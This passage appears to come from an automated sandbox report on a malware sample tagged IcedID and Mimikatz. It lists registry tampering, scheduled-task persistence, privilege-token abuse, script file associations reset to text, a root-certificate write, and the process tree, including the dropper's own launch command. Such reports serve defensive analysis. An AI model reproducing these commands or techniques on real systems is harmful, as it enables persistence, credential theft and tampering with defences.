netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language iiaelmmve.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sssscc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2164 cmd.exe 2652 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x0008000000016dc6-8.dat nsis_installer_2 behavioral1/files/0x00050000000194ef-16.dat nsis_installer_1 behavioral1/files/0x00050000000194ef-16.dat nsis_installer_2 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{53BF6718-92A5-4F1A-8083-46CA22CF3C00}\WpadNetworkName = "Network 3" gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-3b-ff-8f-95-2c\WpadDecision = "0" gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-3b-ff-8f-95-2c\WpadDetectedUrl gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-3b-ff-8f-95-2c\WpadDecisionTime = 20e2f1c4a8e4da01 gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{53BF6718-92A5-4F1A-8083-46CA22CF3C00}\WpadDecision = "0" gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{53BF6718-92A5-4F1A-8083-46CA22CF3C00} gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0121000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates gevvryv.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ gevvryv.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 gevvryv.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 gevvryv.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2652 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2352 schtasks.exe 1596 schtasks.exe 2464 schtasks.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 1776 gevvryv.exe 1820 gevvryv.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found 472 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
description pid Process Token: SeDebugPrivilege 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2704 gevvryv.exe Token: SeDebugPrivilege 2420 gevvryv.exe Token: SeDebugPrivilege 2188 vfshost.exe Token: SeAuditPrivilege 3016 svchost.exe Token: SeDebugPrivilege 692 sbigaauav.exe Token: SeShutdownPrivilege 692 sbigaauav.exe Token: SeLockMemoryPrivilege 2280 riflvg.exe Token: SeLockMemoryPrivilege 2280 riflvg.exe Token: SeDebugPrivilege 2932 sbigaauav.exe Token: SeShutdownPrivilege 2932 sbigaauav.exe Token: SeDebugPrivilege 2264 sbigaauav.exe Token: SeShutdownPrivilege 2264 sbigaauav.exe Token: SeDebugPrivilege 2604 sbigaauav.exe Token: SeShutdownPrivilege 2604 sbigaauav.exe Token: SeDebugPrivilege 2544 sbigaauav.exe Token: SeShutdownPrivilege 2544 sbigaauav.exe Token: SeDebugPrivilege 2920 sbigaauav.exe Token: SeShutdownPrivilege 2920 sbigaauav.exe Token: SeDebugPrivilege 2572 sbigaauav.exe Token: SeShutdownPrivilege 2572 sbigaauav.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe 2704 gevvryv.exe 2704 gevvryv.exe 2420 gevvryv.exe 2420 gevvryv.exe 556 xohudmc.exe 1600 sssscc.exe 1776 gevvryv.exe 1776 gevvryv.exe 1820 gevvryv.exe 1820 gevvryv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2932 wrote to memory of 2164 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe 31 PID 2932 wrote to memory of 2164 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe 31 PID 2932 wrote to memory of 2164 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe 31 PID 2932 wrote to memory of 2164 2932 2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe 31 PID 2164 wrote to memory of 2652 2164 cmd.exe 33 PID 2164 wrote to memory of 2652 2164 cmd.exe 33 PID 2164 wrote to memory of 2652 2164 cmd.exe 33 PID 2164 wrote to memory of 2652 2164 cmd.exe 33 PID 2164 wrote to memory of 2704 2164 cmd.exe 34 PID 2164 wrote to memory of 2704 2164 cmd.exe 34 PID 2164 wrote to memory of 2704 2164 cmd.exe 34 PID 2164 wrote to memory of 2704 2164 cmd.exe 34 PID 2420 wrote to memory of 2584 2420 gevvryv.exe 36 PID 2420 wrote to memory of 2584 2420 gevvryv.exe 36 PID 2420 wrote to memory of 2584 2420 gevvryv.exe 36 PID 2420 wrote to memory of 2584 2420 gevvryv.exe 36 PID 2584 wrote to memory of 1088 2584 cmd.exe 38 PID 2584 wrote to memory of 1088 2584 cmd.exe 38 PID 2584 wrote to memory of 1088 2584 cmd.exe 38 PID 2584 wrote to memory of 1088 2584 cmd.exe 38 PID 2584 wrote to memory of 2716 2584 cmd.exe 39 PID 2584 wrote to memory of 2716 2584 cmd.exe 39 PID 2584 wrote to memory of 2716 2584 cmd.exe 39 PID 2584 wrote to memory of 2716 2584 cmd.exe 39 PID 2584 wrote to memory of 2828 2584 cmd.exe 40 PID 2584 wrote to memory of 2828 2584 cmd.exe 40 PID 2584 wrote to memory of 2828 2584 cmd.exe 40 PID 2584 wrote to memory of 2828 2584 cmd.exe 40 PID 2584 wrote to memory of 2036 2584 cmd.exe 41 PID 2584 wrote to memory of 2036 2584 cmd.exe 41 PID 2584 wrote to memory of 2036 2584 cmd.exe 41 PID 2584 wrote to memory of 2036 2584 cmd.exe 41 PID 2584 wrote to memory of 2560 2584 cmd.exe 42 PID 2584 wrote to memory of 2560 2584 cmd.exe 42 PID 2584 wrote to memory of 2560 2584 cmd.exe 42 PID 2584 wrote to memory of 2560 2584 cmd.exe 42 PID 2584 wrote to memory of 2568 2584 cmd.exe 43 PID 2584 wrote to memory of 2568 2584 cmd.exe 43 PID 2584 wrote to memory of 2568 2584 cmd.exe 43 PID 2584 wrote to memory of 2568 2584 cmd.exe 43 PID 2420 wrote to memory of 2360 2420 gevvryv.exe 44 PID 2420 wrote to memory of 2360 2420 gevvryv.exe 44 PID 2420 wrote to memory of 2360 2420 gevvryv.exe 44 PID 2420 wrote to memory of 2360 2420 gevvryv.exe 44 PID 2420 wrote to memory of 2872 2420 gevvryv.exe 46 PID 2420 wrote to memory of 2872 2420 gevvryv.exe 46 PID 2420 wrote to memory of 2872 2420 gevvryv.exe 46 PID 2420 wrote to memory of 2872 2420 gevvryv.exe 46 PID 2420 wrote to memory of 2928 2420 gevvryv.exe 48 PID 2420 wrote to memory of 2928 2420 gevvryv.exe 48 PID 2420 wrote to memory of 2928 2420 gevvryv.exe 48 PID 2420 wrote to memory of 2928 2420 gevvryv.exe 48 PID 2420 wrote to memory of 2016 2420 gevvryv.exe 50 PID 2420 wrote to memory of 2016 2420 gevvryv.exe 50 PID 2420 wrote to memory of 2016 2420 gevvryv.exe 50 PID 2420 wrote to memory of 2016 2420 gevvryv.exe 50 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 2016 wrote to memory of 1496 2016 cmd.exe 52 PID 1496 wrote to memory of 2808 1496 wpcap.exe 53
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:340
-
C:\Windows\TEMP\qamknffpe\riflvg.exe"C:\Windows\TEMP\qamknffpe\riflvg.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2280
-
-
C:\Users\Admin\AppData\Local\Temp\2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-08-02_94ad4d9436d6737ad6b4e7a8815d8eb2_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mitkhive\gevvryv.exe2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2652
-
-
C:\Windows\mitkhive\gevvryv.exeC:\Windows\mitkhive\gevvryv.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
